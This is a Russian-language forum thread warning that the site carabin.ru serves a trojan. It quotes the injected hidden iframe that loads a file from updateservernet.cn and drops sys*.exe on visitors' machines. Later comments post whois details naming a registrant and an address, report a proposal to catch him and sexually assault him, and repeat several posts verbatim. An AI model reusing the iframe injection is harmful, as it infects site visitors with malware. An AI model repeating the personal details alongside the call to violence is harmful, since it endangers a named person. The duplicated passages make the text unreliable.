При входе на сайт [url]www.carabin.ru[/url] на компьютер пользователя садится троянец с какого-то китайского сайта - в корне диска С: появляется файл с именем sys<rnd>.exe, где <rnd> — буквы английского алфавита, отобранные случайным образом.
Если посмотреть страничку в HTML-коде то последняя строка явно лишняя:
<iframe src='http://updateservernet.cn/tank.php' width='1' height='1' style='visibility: hidden;'></iframe>
На Вашем сайте ВИРУС!!!
Элементы 1—7 из 7.
trilobit
#
trilobit
#
опять сидит вот здесь :(
[url]http://www.carabin.ru/forum/[/url]
Наверно, надо как-то народ предупредить, чтобы почистили у себя.
Похоже, это садится сервер удаленного доступа.
А кто знает, что там враг задумал...
[url]http://www.carabin.ru/forum/[/url]
Наверно, надо как-то народ предупредить, чтобы почистили у себя.
Похоже, это садится сервер удаленного доступа.
А кто знает, что там враг задумал...
Natasha
#
У меня на офисном компе касперский стоит-ничего подозрительного не обнаруживает пока. А кто этого трояна определяет?
Gleb
#
что эта ссылка вредоносная пишут в инете многие но ни кто толком не знает что она делает
по мнению одних она пытается каким то образом получить доступ до FTP по мнению других это чтото связанное с порнухой
ктото даже нашел вот такую инфо
[QUOTE]Domain Name: updateservernet.cn
Registrant Name: AstakhovSergey
whois 195.2.252.107
org-name: Madet Ltd.
org-type: OTHER
address: Russia, 109052, Moscow, Nizhegorodskaya st., 84[/QUOTE]
предлагают поймать человека и надругаться над ним по очереди
по мнению одних она пытается каким то образом получить доступ до FTP по мнению других это чтото связанное с порнухой
ктото даже нашел вот такую инфо
[QUOTE]Domain Name: updateservernet.cn
Registrant Name: AstakhovSergey
whois 195.2.252.107
org-name: Madet Ltd.
org-type: OTHER
address: Russia, 109052, Moscow, Nizhegorodskaya st., 84[/QUOTE]
предлагают поймать человека и надругаться над ним по очереди
Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста, или зарегистрируйтесь.